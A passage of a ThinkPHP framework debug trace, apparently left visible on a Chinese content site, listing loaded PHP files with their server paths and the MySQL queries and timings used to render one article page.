      125. /yingpanguazai/ssd/ssd1/www/c.mffb.com.cn/vendor/topthink/framework/src/think/contract/LogHandlerInterface.php ( 0.86 KB )
      126. /yingpanguazai/ssd/ssd1/www/c.mffb.com.cn/vendor/topthink/framework/src/think/log/Channel.php ( 3.89 KB )
      127. /yingpanguazai/ssd/ssd1/www/c.mffb.com.cn/vendor/topthink/framework/src/think/event/LogRecord.php ( 1.02 KB )
      128. /yingpanguazai/ssd/ssd1/www/c.mffb.com.cn/vendor/topthink/think-helper/src/Collection.php ( 16.47 KB )
      129. /yingpanguazai/ssd/ssd1/www/c.mffb.com.cn/vendor/topthink/framework/src/think/facade/View.php ( 1.70 KB )
      130. /yingpanguazai/ssd/ssd1/www/c.mffb.com.cn/vendor/topthink/framework/src/think/View.php ( 4.39 KB )
      131. /yingpanguazai/ssd/ssd1/www/c.mffb.com.cn/vendor/topthink/framework/src/think/Response.php ( 8.81 KB )
      132. /yingpanguazai/ssd/ssd1/www/c.mffb.com.cn/vendor/topthink/framework/src/think/response/View.php ( 3.29 KB )
      133. /yingpanguazai/ssd/ssd1/www/c.mffb.com.cn/vendor/topthink/framework/src/think/Cookie.php ( 6.06 KB )
      134. /yingpanguazai/ssd/ssd1/www/c.mffb.com.cn/vendor/topthink/think-view/src/Think.php ( 8.38 KB )
      135. /yingpanguazai/ssd/ssd1/www/c.mffb.com.cn/vendor/topthink/framework/src/think/contract/TemplateHandlerInterface.php ( 1.60 KB )
      136. /yingpanguazai/ssd/ssd1/www/c.mffb.com.cn/vendor/topthink/think-template/src/Template.php ( 46.61 KB )
      137. /yingpanguazai/ssd/ssd1/www/c.mffb.com.cn/vendor/topthink/think-template/src/template/driver/File.php ( 2.41 KB )
      138. /yingpanguazai/ssd/ssd1/www/c.mffb.com.cn/vendor/topthink/think-template/src/template/contract/DriverInterface.php ( 0.86 KB )
      139. /yingpanguazai/ssd/ssd1/www/c.mffb.com.cn/runtime/temp/cefbf809ba1a84190cb04b0cb7abcf79.php ( 11.98 KB )
      140. /yingpanguazai/ssd/ssd1/www/c.mffb.com.cn/vendor/topthink/think-trace/src/Html.php ( 4.42 KB )
      1. CONNECT:[ UseTime:0.000517s ] mysql:host=127.0.0.1;port=3306;dbname=c_mffb;charset=utf8mb4
      2. SHOW FULL COLUMNS FROM `fenlei` [ RunTime:0.000779s ]
      3. SELECT * FROM `fenlei` WHERE `fid` = 0 [ RunTime:0.047761s ]
      4. SELECT * FROM `fenlei` WHERE `fid` = 63 [ RunTime:0.007282s ]
      5. SHOW FULL COLUMNS FROM `set` [ RunTime:0.000845s ]
      6. SELECT * FROM `set` [ RunTime:0.005153s ]
      7. SHOW FULL COLUMNS FROM `article` [ RunTime:0.000733s ]
      8. SELECT * FROM `article` WHERE `id` = 488868 LIMIT 1 [ RunTime:0.005967s ]
      9. UPDATE `article` SET `lasttime` = 1784825454 WHERE `id` = 488868 [ RunTime:0.034969s ]
      10. SELECT * FROM `fenlei` WHERE `id` = 65 LIMIT 1 [ RunTime:0.013922s ]
      11. SELECT * FROM `article` WHERE `id` < 488868 ORDER BY `id` DESC LIMIT 1 [ RunTime:0.030621s ]
      12. SELECT * FROM `article` WHERE `id` > 488868 ORDER BY `id` ASC LIMIT 1 [ RunTime:0.004146s ]
      13. SELECT * FROM `article` WHERE `id` < 488868 ORDER BY `id` DESC LIMIT 10 [ RunTime:0.020533s ]
      14. SELECT * FROM `article` WHERE `id` < 488868 ORDER BY `id` DESC LIMIT 10,10 [ RunTime:0.001091s ]
      15. SELECT * FROM `article` WHERE `id` < 488868 ORDER BY `id` DESC LIMIT 20,10 [ RunTime:0.020127s ]
      0.280621s